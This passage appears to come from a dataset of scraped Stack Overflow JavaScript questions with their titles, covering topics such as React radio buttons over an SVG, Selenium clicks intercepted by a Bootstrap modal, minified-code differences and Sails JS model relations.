Corrected the file here , saved again -- -- - > > File `` public/assets/less/template.less '' changed .",Grunt watch not running less after error correction "JS : I am creating a upload control in javascript and then using element.click ( ) to bring up the file browser dialog . The file broswer dialog comes up as intended but after I select the submit on my form any files entered into the control dissapear . If I click the `` browse '' I get the file broswer dialog but the file uploads correctly . How can I add a file upload control to my form and have it display the file broswer dialog and still work as intended . function add ( type ) { var element = document.createElement ( `` input '' ) ; element.setAttribute ( `` type '' , type ) ; element.setAttribute ( `` value '' , type ) ; element.setAttribute ( `` name '' , type ) ; element.setAttribute ( `` id '' , `` element- '' + i ) ; var removebutton = document.createElement ( ' a ' ) ; var removeimage = document.createElement ( 'img ' ) ; removeimage.setAttribute ( `` width '' , 15 ) ; removeimage.setAttribute ( `` height '' , 15 ) ; removeimage.setAttribute ( `` class '' , `` removebutton '' ) ; removeimage.src = `` /Content/Images/redx.png '' ; removebutton.appendChild ( removeimage ) ; removebutton.setAttribute ( `` id '' , `` remove- '' + i ) ; removebutton.setAttribute ( `` onclick '' , `` remove ( `` + i + `` ) ; return 0 ; '' ) ; var newfile = document.getElementById ( `` uploadhere '' ) ; //newfile.appendChild ( removebutton ) ; newfile.appendChild ( element ) ; newfile.appendChild ( removebutton ) ; element.click ( ) ; i++ ; }",Javascript and file upload not working as expected with click ( ) "JS : In a `` perfect '' world you would think that the console.log would show [ `` b '' ] , but wildly enough it shows [ `` b '' , `` bb '' ] even though `` bb '' is n't pushed on until afterwards.If you do console.log ( b.slice ( ) ) ; Then you will get the desired result of [ `` b '' ] . Why is that ? What 's the reason behind this complication ? I just want to understand this better so I can better avoid it from happening . * Note I hit on this same point in a recent question of mine , but this is a much more concise example . @ RightSaidFred has led me to this point and has been a huge help so far.EditRunnable example on JSFiddle function a ( ) { var b = [ `` b '' ] ; console.log ( b ) ; //console.log ( b.slice ( ) ) ; b = b.push ( `` bb '' ) ; } a ( ) ;",Javascript Funky array mishap "JS : I have an input mask on my text box likeI have the following jQuery code to check the value of text box before submitting data.But now even if I did n't input any data , the box remains empty with only the input mask , data is submitting . 000,000,000.00 var txt_box = $ ( ' # txt_box ' ) .attr ( 'value ' ) ; if ( txt_box < = 0 )","Is 000,000,000.00 greater than zero ?" "JS : Edit : here is a link to my app that is currently displaying the problem I am referring to.I did my best to make the post concise and thorough , but apologies in advance if it is a bit long . I think the length is helpful though.I have what feels like a challenging task , involving the positioning of a React radio button group on top of an SVG that shows a graph . I have created the following code snippet , which includes two components ( a graph and a container component ) , to help highlight the problem I am having.In place of an actual graph ( scatter plot , bar plot , w/e ) , I instead made just a rectangular SVG with 3 colorful rects . On the SVG component , I have also added 6 black boxes on the right hand side , which I use as a radio button group built directly onto the SVG using D3.For a variety of state reasons ( mainly because I would like my container component to hold the state of the graph , since the container component will have other parts that require the button values ) , I am working on building a set of React radio buttons , to replace the D3 SVG radio buttons , but am struggling with the positioning of the buttons . Given the way I 've made the SVG ( using Viewbox ) , the React radio buttons built directly onto the SVG rescale as the width of the browser window changes . This is important not because viewers of my website will be actively changing the browser window size ( they wont be ) , but rather because I dont know how wide the users browser is , and this resizing of the buttons with the resizing of the SVG means the buttons will always look good.However , the React radio buttons do not scale . As you can see here : I use position = absolute|relative , along with top|bottom|left styles in order to position the buttons on top of the SVG . I also change the z-index on the react radio button divs so that they are on top of the SVG . Before reviewing the code , please run the code snippet and open to full screen , and increase and decrease the width of your browser window.My question is this : How do i do the sizing and positioning correctly with the React radio buttons so that they behave ( from a size and positioning standpoint ) in a manner similar to if had built the radio buttons directly into the SVG ( how the black boxes are resizing ) ? Any help at all is appreciated with this . < div style= { { `` width '' : '' 85 % '' , `` margin '' : '' 0 auto '' , `` marginTop '' : '' 75px '' , `` padding '' : '' 0 '' , `` position '' : '' relative '' } } > < div style= { { `` width '' : '' 450px '' , `` position '' : '' absolute '' , `` bottom '' : '' 32px '' , `` left '' : '' 20px '' , `` zIndex '' : '' 1 '' } } > < h3 > X-Axis Stat < /h3 > { xStatButtons } < /div > < div style= { { `` position '' : '' absolute '' , `` top '' : '' 5px '' , `` left '' : '' 8px '' , `` zIndex '' : '' 1 '' } } > < h3 > Y-Axis Stat < /h3 > { yStatButtons } < /div > < /div > class GraphComponent extends React.Component { constructor ( props ) { super ( props ) ; this.chartProps = { chartWidth : 400 , // Dont Change These , For Viewbox chartHeight : 200 // Dont Change These , For Viewbox } ; } // Lifecycle Components componentDidMount ( ) { const { chartHeight , chartWidth , svgID } = this.chartProps ; d3.select ( ' # d3graph ' ) .attr ( 'width ' , '100 % ' ) .attr ( 'height ' , '100 % ' ) .attr ( 'viewBox ' , `` 0 0 `` + chartWidth + `` `` + chartHeight ) .attr ( 'preserveAspectRatio ' , `` xMaxYMax '' ) ; const fakeButtons = d3.select ( ' g.fakeButtons ' ) for ( var i = 0 ; i < 6 ; i++ ) { fakeButtons .append ( 'rect ' ) .attr ( ' x ' , 370 ) .attr ( ' y ' , 15 + i*25 ) .attr ( 'width ' , 25 ) .attr ( 'height ' , 20 ) .attr ( 'fill ' , 'black ' ) .attr ( 'opacity ' , 1 ) .attr ( 'stroke ' , 'black ' ) .attr ( 'stroke-width ' , 2 ) } d3.select ( ' g.myRect ' ) .append ( 'rect ' ) .attr ( ' x ' , 0 ) .attr ( ' y ' , 0 ) .attr ( 'width ' , chartWidth ) .attr ( 'height ' , chartHeight ) .attr ( 'fill ' , 'red ' ) .attr ( 'opacity ' , 0.8 ) .attr ( 'stroke ' , 'black ' ) .attr ( 'stroke-width ' , 5 ) d3.select ( ' g.myRect ' ) .append ( 'rect ' ) .attr ( ' x ' , 35 ) .attr ( ' y ' , 35 ) .attr ( 'width ' , chartWidth - 70 ) .attr ( 'height ' , chartHeight - 70 ) .attr ( 'fill ' , 'blue ' ) .attr ( 'opacity ' , 0.8 ) .attr ( 'stroke ' , 'black ' ) .attr ( 'stroke-width ' , 2 ) d3.select ( ' g.myRect ' ) .append ( 'rect ' ) .attr ( ' x ' , 70 ) .attr ( ' y ' , 70 ) .attr ( 'width ' , chartWidth - 140 ) .attr ( 'height ' , chartHeight - 140 ) .attr ( 'fill ' , 'green ' ) .attr ( 'opacity ' , 0.8 ) .attr ( 'stroke ' , 'black ' ) .attr ( 'stroke-width ' , 2 ) } render ( ) { return ( < div ref= '' scatter '' > < svg id= '' d3graph '' > < g className= '' myRect '' / > < g className= '' fakeButtons '' / > < /svg > < /div > ) } } class GraphContainer extends React.Component { constructor ( props ) { super ( props ) ; this.state = { statNameX : `` AtBats '' , statNameY : `` Saves '' } } render ( ) { const { statNameX , statNameY } = this.state ; const xStats = [ { value : `` GamesPlayed '' , label : `` G '' } , { value : `` AtBats '' , label : `` AB '' } , { value : `` Runs '' , label : `` R '' } , { value : `` Hits '' , label : `` H '' } , { value : `` SecondBaseHits '' , label : `` 2B '' } , { value : `` ThirdBaseHits '' , label : `` 3B '' } , { value : `` Homeruns '' , label : `` HR '' } , { value : `` RunsBattedIn '' , label : `` RBI '' } ] ; const yStats = [ { value : `` Wins '' , label : `` W '' } , { value : `` Losses '' , label : `` L '' } , { value : `` EarnedRunAvg '' , label : `` ERA '' } , { value : `` GamesPlayed '' , label : `` G '' } , { value : `` GamesStarted '' , label : `` GS '' } , { value : `` Saves '' , label : `` SV '' } , { value : `` RunsAllowed '' , label : `` R '' } ] ; const xStatButtons = < form > < div className= '' qualify-radio-group scatter-group '' > { xStats.map ( ( d , i ) = > { return ( < label key= { 'xstat- ' + i } > < input type= { `` radio '' } value= { xStats [ i ] .value } / > < span > { xStats [ i ] .label } < /span > < /label > ) } ) } < /div > < /form > ; const yStatButtons = < form > < div className= '' qualify-radio-group scatter-group '' > { yStats.map ( ( d , i ) = > { return ( < label className= '' go-vert '' key= { 'ystat- ' + i } > < input type= { `` radio '' } value= { yStats [ i ] .value } / > < span > { yStats [ i ] .label } < /span > < /label > ) } ) } < /div > < /form > ; return ( < div style= { { `` width '' : '' 85 % '' , `` margin '' : '' 0 auto '' , `` marginTop '' : '' 75px '' , `` padding '' : '' 0 '' , `` position '' : '' relative '' } } > < div style= { { `` width '' : '' 450px '' , `` position '' : '' absolute '' , `` bottom '' : '' 32px '' , `` left '' : '' 20px '' , `` zIndex '' : '' 1 '' } } > < h3 > X-Axis Stat < /h3 > { xStatButtons } < /div > < div style= { { `` position '' : '' absolute '' , `` top '' : '' 5px '' , `` left '' : '' 8px '' , `` zIndex '' : '' 1 '' } } > < h3 > Y-Axis Stat < /h3 > { yStatButtons } < /div > < GraphComponent / > < /div > ) } } ReactDOM.render ( < GraphContainer / > , document.getElementById ( 'root ' ) ) ; .scatter-group input [ type=radio ] { visibility : hidden ; width:0px ; height:0px ; overflow : hidden ; } .scatter-group input [ type=radio ] + span { cursor : pointer ; display : inline-block ; vertical-align : top ; line-height : 25px ; padding : 2px 6px ; border-radius : 2px ; color : # 333 ; background : # EEE ; border-radius : 5px ; border : 2px solid # 333 ; margin-right : 2px ; } .scatter-group input [ type=radio ] : not ( : checked ) + span { cursor : pointer ; background-color : # EEE ; color : # 333 ; } .scatter-group input [ type=radio ] : not ( : checked ) + span : hover { cursor : pointer ; background : # 888 ; } .scatter-group input [ type=radio ] : checked + span { cursor : pointer ; background-color : # 333 ; color : # EEE ; } .go-vert { display : block ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/16.2.0/umd/react.development.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react-dom/16.2.0/umd/react-dom.development.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/4.13.0/d3.min.js '' > < /script > < div id='root ' > WORK < /div >",Advanced positioning and sizing of a react radio button group on top of an SVG "JS : What 's the most intuitive way to calculate the time and space complexity ( Big O notation ) of the following recursive function ? function count ( str ) { if ( str.length < = 1 ) { return 1 ; } var firstTwoDigits = parseInt ( str.slice ( 0 , 2 ) , 10 ) ; if ( firstTwoDigits < = 26 ) { return count ( str.slice ( 1 ) ) + count ( str.slice ( 2 ) ) ; } return count ( str.slice ( 1 ) ) ; }",How to calculate the complexity of a recursive function ? "JS : I have developed a laravel web application which has a function of accepting images uploaded by users and then display it . I had encountered a problem while testing as photos uploaded using mobile phones were rotating 90 degrees in anti clock wise direction I used image intervention to solve that issue . But as i am showing a preview of the uploaded image to the users using javascript the images are rotated 90 degrees but when i save the image it becomes proper . My javascript code is can anyone please help me to properly orient the preview image by editing the code above so that the orientation of the image changes when needed . function imagePreview ( input , elm ) { if ( input.files & & input.files [ 0 ] ) { var reader = new FileReader ( ) ; reader.onload = function ( e ) { $ ( elm ) .css ( `` background-image '' , '' url ( ' '' +e.target.result+ '' ' ) '' ) ; } reader.readAsDataURL ( input.files [ 0 ] ) ; } } $ ( `` # settings_img '' ) .on ( `` change '' , function ( ) { imagePreview ( this , '' # settings_img_elm '' ) ; } ) ;",How to adjust the orientation of a image in order to show proper preview of the image ? "JS : After launching a bootstrap modal and closing it , selenium is not able to find any other element on the page . Three buttons are shown in screen below . Out of which function of 2 buttons is to launch a bootstrap modal and close it , and function of third button ( middle one ) is to simply receive a `` click '' . When tested individually , test for all 3 buttons works well , but when tested collectively it fails . First time a test which launch a modal and close it , will pass , but subsequent test fails with ElementClickInterceptedError.There are sufficient implicit waits in between so that modal can load properly , still issue persist . PS - In case you need to try at your end , follow these steps 1 ) copy below 2 files 2 ) install selenium webdriver using npm install selenium-webdriver 3 ) change fileName variable in test as per your own folder.Error Stacktrace DevTools listening on ws : //127.0.0.1:50210/devtools/browser/81f6bc5f-c6f5-4255-9134-5efa67a92bed [ 13108:12832:0501/100716.495 : ERROR : browser_switcher_service.cc ( 238 ) ] XXX Init ( ) ElementClickInterceptedError : element click intercepted : Element ... is not clickable at po int ( 233 , 67 ) . Other element would receive the click : ... ( Session info : chrome=81.0.4044.129 ) at Object.throwDecodedError ( D : \ip300-gk\node_modules\selenium-webdriver\lib\error.js:550:15 ) at parseHttpResponse ( D : \ip300-gk\node_modules\selenium-webdriver\lib\http.js:565:13 ) at Executor.execute ( D : \ip300-gk\node_modules\selenium-webdriver\lib\http.js:491:26 ) at processTicksAndRejections ( internal/process/task_queues.js:93:5 ) at async Driver.execute ( D : \ip300-gk\node_modules\selenium-webdriver\lib\webdriver.js:700:17 ) at async uitest ( D : \ip300-gk\Samples\bootstrap\bs-modal-selenium\uitest.js:34:13 ) { name : 'ElementClickInterceptedError ' , Test Script Bootstrap page const driver = require ( 'selenium-webdriver ' ) const assert = require ( 'assert ' ) .strict ; const { Builder , By , Key , until } = require ( 'selenium-webdriver ' ) ; let fileName = `` D : \\ip300-gk\\Samples\\bootstrap\\bs-modal-selenium\\index.html '' function sleep ( ms ) { return new Promise ( resolve = > setTimeout ( resolve , ms ) ) } ( async function uitest ( ) { let driver = await new Builder ( ) .forBrowser ( 'chrome ' ) .build ( ) ; let element try { await driver.get ( fileName ) //Launch Modal 1 and close await driver.findElement ( By.id ( 'launchModalButton ' ) ) .click ( ) await driver.manage ( ) .setTimeouts ( { implicit : 1000 } ) await driver.findElement ( By.id ( 'closeButton ' ) ) .click ( ) // middle button click await driver.manage ( ) .setTimeouts ( { implicit : 1000 } ) await driver.findElement ( By.id ( 'button ' ) ) .click ( ) //Launch Modal 2 and close await driver.manage ( ) .setTimeouts ( { implicit : 1000 } ) await driver.findElement ( By.id ( 'launchModalButton_2 ' ) ) .click ( ) await driver.manage ( ) .setTimeouts ( { implicit : 1000 } ) element = await driver.wait ( until.elementLocated ( By.id ( 'closeButton_2 ' ) ) ) await element.click ( ) } catch ( err ) { console.log ( err ) } finally { await driver.quit ( ) ; } } ) ( ) < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 , shrink-to-fit=no '' > < link rel= '' stylesheet '' href= '' https : //stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css '' integrity= '' sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO '' crossorigin= '' anonymous '' > < title > Selenium < /title > < /head > < body > < script src= '' https : //code.jquery.com/jquery-3.3.1.slim.min.js '' integrity= '' sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo '' crossorigin= '' anonymous '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js '' integrity= '' sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49 '' crossorigin= '' anonymous '' > < /script > < script src= '' https : //stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js '' integrity= '' sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy '' crossorigin= '' anonymous '' > < /script > < div class= '' container '' > < button type= '' button '' id= '' launchModalButton '' class= '' btn btn-primary mt-5 '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch modal < /button > < button type= '' button '' id= '' button '' class= '' ml-3 btn btn-primary mt-5 '' > Button < /button > < button type= '' button '' id= '' launchModalButton_2 '' class= '' ml-3 btn btn-primary mt-5 '' data-toggle= '' modal '' data-target= '' # exampleModal_2 '' > Launch modal 2 < /button > < div class= '' modal fade '' id= '' exampleModal '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' exampleModalLabel '' aria-hidden= '' true '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < h5 class= '' modal-title '' id= '' exampleModalLabel '' > Modal 1 < /h5 > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < /div > < div class= '' modal-body '' > Modal 1 < /div > < div class= '' modal-footer '' > < button id= '' closeButton '' type= '' button '' class= '' btn btn-secondary '' data-dismiss= '' modal '' > Close < /button > < button id= '' saveChangesButton '' type= '' button '' class= '' btn btn-primary '' > Save changes < /button > < /div > < /div > < /div > < /div > < div class= '' modal fade '' id= '' exampleModal_2 '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' exampleModalLabel_2 '' aria-hidden= '' true '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < h5 class= '' modal-title '' id= '' exampleModalLabel_2 '' > Modal 2 < /h5 > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < /div > < div class= '' modal-body '' > Modal 2 < /div > < div class= '' modal-footer '' > < button id= '' closeButton_2 '' type= '' button '' class= '' btn btn-secondary '' data-dismiss= '' modal '' > Close < /button > < button id= '' saveChangesButton_2 '' type= '' button '' class= '' btn btn-primary '' > Save changes < /button > < /div > < /div > < /div > < /div > < /div > < /body > < /html >","Selenium - after bootstrap modal test , subsequent test fail with error ElementClickInterceptedError" "JS : How to know whether an object is array or not ? since console.log ( [ ] .toString ( ) ) ; outputs : blank1st : why i get blank at 2nd last statement ? 2nd : Is there a way to know exactly what an object is : Array or plain Object ( { } ) without the help of their respective methods like x.join ( ) indicates x is an Array , not in this way.Actually , in jquery selection like $ ( `` p '' ) returns jquery object so if i useI just wanted to know the actual Name of the Object.Thats it.Thank u for u help var x= [ ] ; console.log ( typeof x ) ; //output : '' object '' alert ( x ) ; //output : [ object Object ] console.log ( x.valueOf ( ) ) //output : < blank > ? what is the reason here ? console.log ( [ ] .toString ( ) ) ; also outputs < blank > Object.prototype.toString.call ( x ) output : [ object Array ] how ? console.log ( typeof $ ( `` p '' ) ) ; //output : '' object",Identifying Array Object "JS : When I ran my MVC 4 project in Release mode , one page that uses SlickGrid did not display correctly ( the grid is very , very tall and the grid cells are missing ) .However , I do not think this is an issue of SlickGrid , but rather of how the bundler ( System.Web.Optimization that is integrated into MVC 4 ) minified the code.I grabbed the minified JavaScript and began reversing minification in one area at a time until the problem was fixed . I found that changing ( and forgive the scrolling , I want to leave the minified version exactly as-is ) to the originalresolves the issue if all other elements of the minified file are unchanged.The function is used like : to provide a callback function for SlickGrid to filter out certain results.How is it that the original and the minified function are not equivalent ? UPDATESlickGrid is `` compiling '' the filter function that I provide . That compilation step is failing with the minified version . The compiled minified code looks like : Note the multiple return statements.With this additional insight , I was able to identify a relevant SlickGrid bug : https : //github.com/mleibman/SlickGrid/issues/301 function SlickFilter ( n , t ) { var i=n.option , r=t.searchString ; return n.pctSortKey.key < t.percentCompleteThreshold||r ! = '' '' & & i.indexOf ( r ) ==-1 & & i ! = '' Unweighted Response '' & & i ! = '' Median '' & & i ! = '' Average '' ? ! 1 : ! 0 } function SlickFilter ( item , args ) { if ( item.pctSortKey.key < args.percentCompleteThreshold ) { return false ; } if ( args.searchString ! = `` '' & & item.option.indexOf ( args.searchString ) == -1 & & item.option ! = `` Unweighted Response '' & & item.option ! = `` Median '' & & item.option ! = `` Average '' ) { return false ; } return true ; } dataView.setFilter ( SlickFilter ) ; function anonymous ( _items , _args ) { var _retval = [ ] , _idx = 0 ; var n , t = _args ; _coreloop : for ( var _i = 0 , _il = _items.length ; _i < _il ; _i++ ) { n = _items [ _i ] ; //debugger ; var i = n.option , r = t.searchString ; return n.pctSortKey.key < t.percentCompleteThreshold || r ! = '' '' & & i.indexOf ( r ) ==-1 & & i ! = `` Unweighted Response '' & & i ! = `` Median '' & & i ! = `` Average '' ? ! 1 : ! 0 ; } return _retval ; }",Why is Minified Code not Equivalent to Original ? "JS : I am trying to play the notification beep ( or mention beep ) in the SO chat using a Chrome extension , but I can not get it right ( if it is even possible ) . I have tried the following code : But I get the following error : Uncaught TypeError : Object [ object Object ] has no method 'jPlayer'Is there a way to use the SO chat sound 'module ' / player to play the @ mention beep ? UPDATEI know I can setup my own 'audio player ' , but I want to use the audio player that is used in the chat here on SO and I want to to use the notification beep.I 've uploaded my full code in a GitHub gist which is part of this project . The line where I am trying to call the audio player is 224 . this.notify = function ( ) { $ ( `` # jplayer '' ) .jPlayer ( 'play ' , 0 ) ; }",Playing the beep in SO chat "JS : I 'm trying to do a authorization request with Github Api , passing the username and password . But it 's not working and i 'm getting 401 status code . In the Documentation there 's a part saying That 's my code : To use Basic Authentication with the GitHub API , simply send the username and password associated with the account . this.api .post ( '/user ' , { username : 'Example ' , password : '1234 ' } ) .then ( res = > resolve ( res.data ) ) .catch ( err = > reject ( err ) ) ;",Problems Github Api Authorization "JS : Important EditThe problem does n't occur with an ng-hide we removed that code for a bootstrap collapse , but it still occurs . My next guess is the following piece of codeThis is the whole directive : Just a short clarification , it is literally not possible to scroll with the mouse , but you can easily tab through the fields.PS : It only happens in Internet Explorer 11 , that is the version our customer is using . In Firefox I do n't have that problem.We replaced the codeBecause there is an important presentation tomorrow and a missing scrollbar is something like a really big issue , we decided to remove the piece of code and replace it with just normal routing.Thanks to all commentors : ) Original question with ng-hideI have a simple page , where I hide a part with ng-hide . When ng-hide turns false the part gets shown , but randomly the page is not scrollable until I reload the whole page.If it helps , the data which turn ng-hide to false come from an AJAX request.EDIT 1 - not relevent anymoreHere is the code which does the HTTP requestsThe properties on $ routescope are there to show a simple progress bar for every HTTP request . < div ng-include= '' getTemplateUrl ( ) '' > < /div > stuffModule.directive ( 'stuffDirective ' , function ( $ compile ) { var oldId = undefined ; return { restrict : ' E ' , scope : { model : '= ' } , link : function ( scope , elem , attrs ) { scope. $ watch ( function ( scope ) { if ( oldId ! == scope.model.key ) { oldId = scope.model.key ; return true ; } return false ; } , function ( newValue , oldValue ) { if ( scope.model.someswitch ) { switch ( scope.model.someswitch ) { case 'condition1 ' : scope.getTemplateUrl = function ( ) { return 'condition1.html ' ; } break ; case 'condition2 ' : case 'condition3 ' : scope.getTemplateUrl = function ( ) { return 'condition23.html ' ; } break ; default : break ; } } else { scope.getTemplateUrl = function ( ) { return 'default.html ' ; } } } ) ; } , template : ' < div ng-include= '' getTemplateUrl ( ) '' > < /div > ' } ; } ) ; this.getCall = function ( url ) { var dfd = $ q.defer ( ) ; $ rootScope.loading = true ; $ rootScope.loadingError = false ; $ rootScope.progressActive = true ; $ rootScope.loadingClass = `` progress-bar-info '' ; $ http.get ( 'http : //localhost/something ' , { cache : true } ) .success ( function ( data ) { $ rootScope.loadingClass = `` progress-bar-success '' ; $ rootScope.progressActive = false ; $ timeout ( function ( ) { $ rootScope.loading = false ; } , 500 ) ; dfd.resolve ( data ) ; } ) .error ( function ( data , status , headers ) { $ rootScope.loading = false ; $ rootScope.loadingError = true ; $ rootScope.progressActive = false ; $ rootScope.loadingClass = `` progress-bar-danger '' ; console.error ( data ) ; dfd.reject ( JSON.stringify ( data ) ) ; } ) ; return dfd.promise ; } ;",Page not scrollable with ng-include= '' function ( ) '' - The code is not in use anymore "JS : Recently I 've taken to learning Sails JS , and while it seems incredibly useful ( I do n't have to build an api on my own ? ! ) the current little project I 'm testing sails with has run into a bit of a snag . My main profession is a teacher , and the eventual goal for this whole project is to have a list of students , peers who they work well with ( friend_id ) , and students who they do not ( unfriend_id ) . Using this information , plus their current GPA , I want to optimize the seating chart through some other algorithms . First part , I need to get the data returned to from the Sails data server to agree with me . What I need for sails to do ( and I 've looked through the sails docs at one-to-many collections as well as many-to-many and many-to-one but this problem seems particular ) is to gather all of the items for a user based on the friend_id or unfriend_id column . DataThis SqlFiddle has the basic schema setup with some dummy data for everyone to copy/paste over and work with directly if needed.usersrelationsdummy data ( ignore the names ) I tried something like the following , but when I run this the api returns an empty json array for both ( before I would at least receive a list of the students / relations depending on the api I was looking ) . Students.jsRelationship.jsI 'm not totally new to all of what is going on right now , but I 'm just new enough to Node and Sails that I just seem to be scratching my head . If what I want ca n't be done through the collections model , where would I place the code to make these transactions occur ? I assume ( but you know what they say ... ) it would be in the StudentsController.js file ? Tl ; DrCan I get the behavior created by this MySQL query : replicated using the collection setup in Sails JS ? If not , where do I put the code to do so by hand ? ( assuming it is n't StudentsController.js ) UPDATEfollowing the advice of @ Solarflare I 've managed to get something a little bit more inline , though this is a very rough start . Now I get a column called 'relationships ' but there 's nothing in it . Which is better than before where I got absolutely nothing ( as in all that was returned was [ ] ) . But it 's an empty array . ( the output is below ) . note : I removed student_friends declaration from the Relationship model.How do I fix that ? UPDATE # 2Well just sort of messing around while waiting I got something very rudimentary to work . I went into the Relationship.js file and changed the definition of student_id to model : 'students ' , via : 'student_id ' and i can at least get all of the relationships for a given student . It 's giving me the correct collection , but I do still wonder if there 's a more direct way to fiddle with this to get what I need . Here is the output of localhost:1337/students now : CREATE TABLE ` students ` ( ` student_id ` int ( 11 ) NOT NULL AUTO_INCREMENT , ` student_first_name ` varchar ( 200 ) NOT NULL , ` student_last_name ` varchar ( 255 ) NOT NULL , ` student_home_phone ` varchar ( 10 ) DEFAULT NULL , ` student_guardian_email ` varchar ( 255 ) DEFAULT NULL , ` student_gpa ` float NOT NULL DEFAULT ' 2 ' , ` class_id ` tinyint ( 4 ) NOT NULL , UNIQUE KEY ` student_id ` ( ` student_id ` ) ) ; CREATE TABLE ` relations ` ( ` relation_id ` int ( 11 ) NOT NULL AUTO_INCREMENT , ` student_id ` int ( 11 ) NOT NULL DEFAULT '100000 ' , ` friend_id ` int ( 11 ) DEFAULT NULL , ` unfriend_id ` int ( 11 ) DEFAULT NULL , UNIQUE KEY ` relation_id ` ( ` relation_id ` ) ) ; INSERT INTO ` students ` VALUES ( 1 , 'Paul ' , 'Walker ' , '1112223333 ' , 'fake @ email.com',2,1 ) , ( 2 , 'Vin ' , 'Diesel ' , '1112223333 ' , 'fake @ email.com',3,1 ) , ( 3 , 'That ' , 'One\'Guy ' , '1112223333 ' , 'fake @ email.com',4,1 ) , ( 4 , 'Not ' , 'Yuagin ' , '1112223333 ' , 'fake @ email.com',2,1 ) , ( 5 , 'Hei ' , 'Yu ' , '1112223333 ' , 'fake @ email.com',2,1 ) ; INSERT INTO ` relations ` VALUES ( 1,1,2 , NULL ) , ( 2,2,1 , NULL ) , ( 3,1 , NULL,4 ) , ( 4,4 , NULL,1 ) , ( 5,1,5 , NULL ) , ( 6,5,1 , NULL ) , ( 7,2,3 , NULL ) , ( 8,3,2 , NULL ) ; module.exports = { connection : 'localMysql ' , schema : 'true ' , attributes : { student_id : { type : `` integer '' , required : true , unique : true , primaryKey : true } , student_first_name : { type : 'string ' } , student_last_name : { type : 'string ' } , student_home_phone : { type : 'integer ' } , student_guardian_email : { type : 'email ' } , class_id : { type : 'integer ' } , friends : { collection : 'relationship ' , via : 'student_friends ' } } , autoPK : false , autoCreatedAt : false , autoUpdatedAt : false } module.exports = { connection : 'localMysql ' , tableName : 'relations ' , attributes : { relation_id : { type : 'integer ' , required : true , unique : true , primaryKey : true } , student_id : { type : 'integer ' } , friend_id : { type : 'integer ' } , unfriend_id : { type : 'integer ' } , student_friends : { collection : 'students ' , via : 'student_id ' } } , autoPK : false , autoCreatedAt : false , autoUpdatedAt : false } select s.* , group_concat ( r.friend_id ) as friends , group_concat ( r.unfriend_id ) as unfriends from students s left join relations r ON s.student_id = r.student_idGROUP BY s.student_id ; [ { `` relationships '' : [ ] , `` student_id '' : 1 , `` student_first_name '' : `` Paul '' , `` student_last_name '' : `` Walker '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ ] , `` student_id '' : 2 , `` student_first_name '' : `` Vin '' , `` student_last_name '' : `` Diesel '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ ] , `` student_id '' : 3 , `` student_first_name '' : `` That '' , `` student_last_name '' : `` One'Guy '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ ] , `` student_id '' : 4 , `` student_first_name '' : `` Not '' , `` student_last_name '' : `` Yuagin '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ ] , `` student_id '' : 5 , `` student_first_name '' : `` Hei '' , `` student_last_name '' : `` Yu '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } ] [ { `` relationships '' : [ { `` relation_id '' : 1 , `` friend_id '' : 2 , `` unfriend_id '' : null , `` student_id '' : 1 } , { `` relation_id '' : 3 , `` friend_id '' : null , `` unfriend_id '' : 4 , `` student_id '' : 1 } , { `` relation_id '' : 5 , `` friend_id '' : 5 , `` unfriend_id '' : null , `` student_id '' : 1 } ] , `` student_id '' : 1 , `` student_first_name '' : `` Paul '' , `` student_last_name '' : `` Walker '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ { `` relation_id '' : 2 , `` friend_id '' : 1 , `` unfriend_id '' : null , `` student_id '' : 2 } , { `` relation_id '' : 7 , `` friend_id '' : 3 , `` unfriend_id '' : null , `` student_id '' : 2 } ] , `` student_id '' : 2 , `` student_first_name '' : `` Vin '' , `` student_last_name '' : `` Diesel '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ { `` relation_id '' : 8 , `` friend_id '' : 2 , `` unfriend_id '' : null , `` student_id '' : 3 } ] , `` student_id '' : 3 , `` student_first_name '' : `` That '' , `` student_last_name '' : `` One'Guy '' , `` student_home_phone '' : `` 1112223333 '' , `` student_guardian_email '' : `` fake @ email.com '' , `` class_id '' : 1 } , { `` relationships '' : [ { `` relation_id '' : 4 , `` 